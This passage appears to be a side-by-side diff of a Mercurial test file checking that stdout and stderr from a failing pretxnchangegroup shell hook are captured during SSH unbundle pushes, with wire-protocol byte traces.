1220 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1238 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1221 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1239 | i> write(2) -> 2: |
|
1222 | i> write(2) -> 2: | |
1240 | i> 0\n |
|
1223 | i> 0\n | |
1241 | i> flush() -> None |
|
1224 | i> flush() -> None | |
1242 | o> readline() -> 2: |
|
1225 | o> readline() -> 2: | |
1243 | o> 0\n |
|
1226 | o> 0\n | |
1244 | o> readline() -> 2: |
|
1227 | o> readline() -> 2: | |
1245 | o> 1\n |
|
1228 | o> 1\n | |
1246 | o> read(1) -> 1: 0 |
|
1229 | o> read(1) -> 1: 0 | |
1247 | result: 0 |
|
1230 | result: 0 | |
1248 | remote output: |
|
1231 | remote output: | |
1249 | o> read(-1) -> 0: |
|
|||
1250 | e> read(-1) -> 216: |
|
1232 | e> read(-1) -> 216: | |
1251 | e> adding changesets\n |
|
1233 | e> adding changesets\n | |
1252 | e> adding manifests\n |
|
1234 | e> adding manifests\n | |
1253 | e> adding file changes\n |
|
1235 | e> adding file changes\n | |
1254 | e> added 1 changesets with 1 changes to 1 files\n |
|
1236 | e> added 1 changesets with 1 changes to 1 files\n | |
1255 | e> stdout 1\n |
|
1237 | e> stdout 1\n | |
1256 | e> stderr 1\n |
|
1238 | e> stderr 1\n | |
1257 | e> stdout 2\n |
|
1239 | e> stdout 2\n | |
1258 | e> stderr 2\n |
|
1240 | e> stderr 2\n | |
1259 | e> transaction abort!\n |
|
1241 | e> transaction abort!\n | |
1260 | e> rollback completed\n |
|
1242 | e> rollback completed\n | |
1261 | e> abort: pretxnchangegroup.fail hook failed\n |
|
1243 | e> abort: pretxnchangegroup.fail hook failed\n | |
1262 |
|
1244 | |||
1263 | Shell hook writing to stdout has output captured |
|
1245 | Shell hook writing to stdout has output captured | |
1264 |
|
1246 | |||
1265 | $ cat > $TESTTMP/hook.sh << EOF |
|
1247 | $ cat > $TESTTMP/hook.sh << EOF | |
1266 | > echo 'stdout 1' |
|
1248 | > echo 'stdout 1' | |
1267 | > echo 'stdout 2' |
|
1249 | > echo 'stdout 2' | |
1268 | > exit 1 |
|
1250 | > exit 1 | |
1269 | > EOF |
|
1251 | > EOF | |
1270 |
|
1252 | |||
1271 | $ cat > .hg/hgrc << EOF |
|
1253 | $ cat > .hg/hgrc << EOF | |
1272 | > [hooks] |
|
1254 | > [hooks] | |
1273 | > pretxnchangegroup.fail = sh $TESTTMP/hook.sh |
|
1255 | > pretxnchangegroup.fail = sh $TESTTMP/hook.sh | |
1274 | > EOF |
|
1256 | > EOF | |
1275 |
|
1257 | |||
1276 | $ debugwireproto << EOF |
|
1258 | $ debugwireproto << EOF | |
1277 | > command unbundle |
|
1259 | > command unbundle | |
1278 | > # This is "force" in hex. |
|
1260 | > # This is "force" in hex. | |
1279 | > heads 666f726365 |
|
1261 | > heads 666f726365 | |
1280 | > PUSHFILE ../initial.v1.hg |
|
1262 | > PUSHFILE ../initial.v1.hg | |
1281 | > readavailable |
|
1263 | > readavailable | |
1282 | > EOF |
|
1264 | > EOF | |
1283 | testing ssh1 |
|
1265 | testing ssh1 | |
1284 | creating ssh peer from handshake results |
|
1266 | creating ssh peer from handshake results | |
1285 | i> write(104) -> 104: |
|
1267 | i> write(104) -> 104: | |
1286 | i> hello\n |
|
1268 | i> hello\n | |
1287 | i> between\n |
|
1269 | i> between\n | |
1288 | i> pairs 81\n |
|
1270 | i> pairs 81\n | |
1289 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1271 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1290 | i> flush() -> None |
|
1272 | i> flush() -> None | |
1291 | o> readline() -> 4: |
|
1273 | o> readline() -> 4: | |
1292 | o> 413\n |
|
1274 | o> 413\n | |
1293 | o> readline() -> 413: |
|
1275 | o> readline() -> 413: | |
1294 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1276 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1295 | o> readline() -> 2: |
|
1277 | o> readline() -> 2: | |
1296 | o> 1\n |
|
1278 | o> 1\n | |
1297 | o> readline() -> 1: |
|
1279 | o> readline() -> 1: | |
1298 | o> \n |
|
1280 | o> \n | |
1299 | sending unbundle command |
|
1281 | sending unbundle command | |
1300 | i> write(9) -> 9: |
|
1282 | i> write(9) -> 9: | |
1301 | i> unbundle\n |
|
1283 | i> unbundle\n | |
1302 | i> write(9) -> 9: |
|
1284 | i> write(9) -> 9: | |
1303 | i> heads 10\n |
|
1285 | i> heads 10\n | |
1304 | i> write(10) -> 10: 666f726365 |
|
1286 | i> write(10) -> 10: 666f726365 | |
1305 | i> flush() -> None |
|
1287 | i> flush() -> None | |
1306 | o> readline() -> 2: |
|
1288 | o> readline() -> 2: | |
1307 | o> 0\n |
|
1289 | o> 0\n | |
1308 | i> write(4) -> 4: |
|
1290 | i> write(4) -> 4: | |
1309 | i> 426\n |
|
1291 | i> 426\n | |
1310 | i> write(426) -> 426: |
|
1292 | i> write(426) -> 426: | |
1311 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1293 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1312 | i> test\n |
|
1294 | i> test\n | |
1313 | i> 0 0\n |
|
1295 | i> 0 0\n | |
1314 | i> foo\n |
|
1296 | i> foo\n | |
1315 | i> \n |
|
1297 | i> \n | |
1316 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1298 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1317 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1299 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1318 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1300 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1319 | i> write(2) -> 2: |
|
1301 | i> write(2) -> 2: | |
1320 | i> 0\n |
|
1302 | i> 0\n | |
1321 | i> flush() -> None |
|
1303 | i> flush() -> None | |
1322 | o> readline() -> 2: |
|
1304 | o> readline() -> 2: | |
1323 | o> 0\n |
|
1305 | o> 0\n | |
1324 | o> readline() -> 2: |
|
1306 | o> readline() -> 2: | |
1325 | o> 1\n |
|
1307 | o> 1\n | |
1326 | o> read(1) -> 1: 0 |
|
1308 | o> read(1) -> 1: 0 | |
1327 | result: 0 |
|
1309 | result: 0 | |
1328 | remote output: |
|
1310 | remote output: | |
1329 | o> read(-1) -> 0: |
|
|||
1330 | e> read(-1) -> 212: |
|
1311 | e> read(-1) -> 212: | |
1331 | e> adding changesets\n |
|
1312 | e> adding changesets\n | |
1332 | e> adding manifests\n |
|
1313 | e> adding manifests\n | |
1333 | e> adding file changes\n |
|
1314 | e> adding file changes\n | |
1334 | e> added 1 changesets with 1 changes to 1 files\n |
|
1315 | e> added 1 changesets with 1 changes to 1 files\n | |
1335 | e> stdout 1\n |
|
1316 | e> stdout 1\n | |
1336 | e> stdout 2\n |
|
1317 | e> stdout 2\n | |
1337 | e> transaction abort!\n |
|
1318 | e> transaction abort!\n | |
1338 | e> rollback completed\n |
|
1319 | e> rollback completed\n | |
1339 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1320 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1340 |
|
1321 | |||
1341 | testing ssh2 |
|
1322 | testing ssh2 | |
1342 | creating ssh peer from handshake results |
|
1323 | creating ssh peer from handshake results | |
1343 | i> write(171) -> 171: |
|
1324 | i> write(171) -> 171: | |
1344 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1325 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1345 | i> hello\n |
|
1326 | i> hello\n | |
1346 | i> between\n |
|
1327 | i> between\n | |
1347 | i> pairs 81\n |
|
1328 | i> pairs 81\n | |
1348 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1329 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1349 | i> flush() -> None |
|
1330 | i> flush() -> None | |
1350 | o> readline() -> 62: |
|
1331 | o> readline() -> 62: | |
1351 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1332 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1352 | o> readline() -> 4: |
|
1333 | o> readline() -> 4: | |
1353 | o> 412\n |
|
1334 | o> 412\n | |
1354 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1335 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1355 | o> read(1) -> 1: |
|
1336 | o> read(1) -> 1: | |
1356 | o> \n |
|
1337 | o> \n | |
1357 | sending unbundle command |
|
1338 | sending unbundle command | |
1358 | i> write(9) -> 9: |
|
1339 | i> write(9) -> 9: | |
1359 | i> unbundle\n |
|
1340 | i> unbundle\n | |
1360 | i> write(9) -> 9: |
|
1341 | i> write(9) -> 9: | |
1361 | i> heads 10\n |
|
1342 | i> heads 10\n | |
1362 | i> write(10) -> 10: 666f726365 |
|
1343 | i> write(10) -> 10: 666f726365 | |
1363 | i> flush() -> None |
|
1344 | i> flush() -> None | |
1364 | o> readline() -> 2: |
|
1345 | o> readline() -> 2: | |
1365 | o> 0\n |
|
1346 | o> 0\n | |
1366 | i> write(4) -> 4: |
|
1347 | i> write(4) -> 4: | |
1367 | i> 426\n |
|
1348 | i> 426\n | |
1368 | i> write(426) -> 426: |
|
1349 | i> write(426) -> 426: | |
1369 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1350 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1370 | i> test\n |
|
1351 | i> test\n | |
1371 | i> 0 0\n |
|
1352 | i> 0 0\n | |
1372 | i> foo\n |
|
1353 | i> foo\n | |
1373 | i> \n |
|
1354 | i> \n | |
1374 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1355 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1375 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1356 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1376 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1357 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1377 | i> write(2) -> 2: |
|
1358 | i> write(2) -> 2: | |
1378 | i> 0\n |
|
1359 | i> 0\n | |
1379 | i> flush() -> None |
|
1360 | i> flush() -> None | |
1380 | o> readline() -> 2: |
|
1361 | o> readline() -> 2: | |
1381 | o> 0\n |
|
1362 | o> 0\n | |
1382 | o> readline() -> 2: |
|
1363 | o> readline() -> 2: | |
1383 | o> 1\n |
|
1364 | o> 1\n | |
1384 | o> read(1) -> 1: 0 |
|
1365 | o> read(1) -> 1: 0 | |
1385 | result: 0 |
|
1366 | result: 0 | |
1386 | remote output: |
|
1367 | remote output: | |
1387 | o> read(-1) -> 0: |
|
|||
1388 | e> read(-1) -> 212: |
|
1368 | e> read(-1) -> 212: | |
1389 | e> adding changesets\n |
|
1369 | e> adding changesets\n | |
1390 | e> adding manifests\n |
|
1370 | e> adding manifests\n | |
1391 | e> adding file changes\n |
|
1371 | e> adding file changes\n | |
1392 | e> added 1 changesets with 1 changes to 1 files\n |
|
1372 | e> added 1 changesets with 1 changes to 1 files\n | |
1393 | e> stdout 1\n |
|
1373 | e> stdout 1\n | |
1394 | e> stdout 2\n |
|
1374 | e> stdout 2\n | |
1395 | e> transaction abort!\n |
|
1375 | e> transaction abort!\n | |
1396 | e> rollback completed\n |
|
1376 | e> rollback completed\n | |
1397 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1377 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1398 |
|
1378 | |||
1399 | Shell hook writing to stderr has output captured |
|
1379 | Shell hook writing to stderr has output captured | |
1400 |
|
1380 | |||
1401 | $ cat > $TESTTMP/hook.sh << EOF |
|
1381 | $ cat > $TESTTMP/hook.sh << EOF | |
1402 | > echo 'stderr 1' 1>&2 |
|
1382 | > echo 'stderr 1' 1>&2 | |
1403 | > echo 'stderr 2' 1>&2 |
|
1383 | > echo 'stderr 2' 1>&2 | |
1404 | > exit 1 |
|
1384 | > exit 1 | |
1405 | > EOF |
|
1385 | > EOF | |
1406 |
|
1386 | |||
1407 | $ debugwireproto << EOF |
|
1387 | $ debugwireproto << EOF | |
1408 | > command unbundle |
|
1388 | > command unbundle | |
1409 | > # This is "force" in hex. |
|
1389 | > # This is "force" in hex. | |
1410 | > heads 666f726365 |
|
1390 | > heads 666f726365 | |
1411 | > PUSHFILE ../initial.v1.hg |
|
1391 | > PUSHFILE ../initial.v1.hg | |
1412 | > readavailable |
|
1392 | > readavailable | |
1413 | > EOF |
|
1393 | > EOF | |
1414 | testing ssh1 |
|
1394 | testing ssh1 | |
1415 | creating ssh peer from handshake results |
|
1395 | creating ssh peer from handshake results | |
1416 | i> write(104) -> 104: |
|
1396 | i> write(104) -> 104: | |
1417 | i> hello\n |
|
1397 | i> hello\n | |
1418 | i> between\n |
|
1398 | i> between\n | |
1419 | i> pairs 81\n |
|
1399 | i> pairs 81\n | |
1420 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1400 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1421 | i> flush() -> None |
|
1401 | i> flush() -> None | |
1422 | o> readline() -> 4: |
|
1402 | o> readline() -> 4: | |
1423 | o> 413\n |
|
1403 | o> 413\n | |
1424 | o> readline() -> 413: |
|
1404 | o> readline() -> 413: | |
1425 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1405 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1426 | o> readline() -> 2: |
|
1406 | o> readline() -> 2: | |
1427 | o> 1\n |
|
1407 | o> 1\n | |
1428 | o> readline() -> 1: |
|
1408 | o> readline() -> 1: | |
1429 | o> \n |
|
1409 | o> \n | |
1430 | sending unbundle command |
|
1410 | sending unbundle command | |
1431 | i> write(9) -> 9: |
|
1411 | i> write(9) -> 9: | |
1432 | i> unbundle\n |
|
1412 | i> unbundle\n | |
1433 | i> write(9) -> 9: |
|
1413 | i> write(9) -> 9: | |
1434 | i> heads 10\n |
|
1414 | i> heads 10\n | |
1435 | i> write(10) -> 10: 666f726365 |
|
1415 | i> write(10) -> 10: 666f726365 | |
1436 | i> flush() -> None |
|
1416 | i> flush() -> None | |
1437 | o> readline() -> 2: |
|
1417 | o> readline() -> 2: | |
1438 | o> 0\n |
|
1418 | o> 0\n | |
1439 | i> write(4) -> 4: |
|
1419 | i> write(4) -> 4: | |
1440 | i> 426\n |
|
1420 | i> 426\n | |
1441 | i> write(426) -> 426: |
|
1421 | i> write(426) -> 426: | |
1442 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1422 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1443 | i> test\n |
|
1423 | i> test\n | |
1444 | i> 0 0\n |
|
1424 | i> 0 0\n | |
1445 | i> foo\n |
|
1425 | i> foo\n | |
1446 | i> \n |
|
1426 | i> \n | |
1447 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1427 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1448 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1428 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1449 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1429 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1450 | i> write(2) -> 2: |
|
1430 | i> write(2) -> 2: | |
1451 | i> 0\n |
|
1431 | i> 0\n | |
1452 | i> flush() -> None |
|
1432 | i> flush() -> None | |
1453 | o> readline() -> 2: |
|
1433 | o> readline() -> 2: | |
1454 | o> 0\n |
|
1434 | o> 0\n | |
1455 | o> readline() -> 2: |
|
1435 | o> readline() -> 2: | |
1456 | o> 1\n |
|
1436 | o> 1\n | |
1457 | o> read(1) -> 1: 0 |
|
1437 | o> read(1) -> 1: 0 | |
1458 | result: 0 |
|
1438 | result: 0 | |
1459 | remote output: |
|
1439 | remote output: | |
1460 | o> read(-1) -> 0: |
|
|||
1461 | e> read(-1) -> 212: |
|
1440 | e> read(-1) -> 212: | |
1462 | e> adding changesets\n |
|
1441 | e> adding changesets\n | |
1463 | e> adding manifests\n |
|
1442 | e> adding manifests\n | |
1464 | e> adding file changes\n |
|
1443 | e> adding file changes\n | |
1465 | e> added 1 changesets with 1 changes to 1 files\n |
|
1444 | e> added 1 changesets with 1 changes to 1 files\n | |
1466 | e> stderr 1\n |
|
1445 | e> stderr 1\n | |
1467 | e> stderr 2\n |
|
1446 | e> stderr 2\n | |
1468 | e> transaction abort!\n |
|
1447 | e> transaction abort!\n | |
1469 | e> rollback completed\n |
|
1448 | e> rollback completed\n | |
1470 | e> abort: pretxnchangegroup.fail hook exited with status 1\n |
|
1449 | e> abort: pretxnchangegroup.fail hook exited with status 1\n | |
1471 |
|
1450 | |||
1472 | testing ssh2 |
|
1451 | testing ssh2 | |
1473 | creating ssh peer from handshake results |
|
1452 | creating ssh peer from handshake results | |
1474 | i> write(171) -> 171: |
|
1453 | i> write(171) -> 171: | |
1475 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1454 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1476 | i> hello\n |
|
1455 | i> hello\n | |
1477 | i> between\n |
|
1456 | i> between\n | |
1478 | i> pairs 81\n |
|
1457 | i> pairs 81\n | |
1479 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1458 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1480 | i> flush() -> None |
|
1459 | i> flush() -> None | |
1481 | o> readline() -> 62: |
|
1460 | o> readline() -> 62: | |
1482 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1461 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1483 | o> readline() -> 4: |
|
1462 | o> readline() -> 4: | |
1484 | o> 412\n |
|
1463 | o> 412\n | |
1485 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
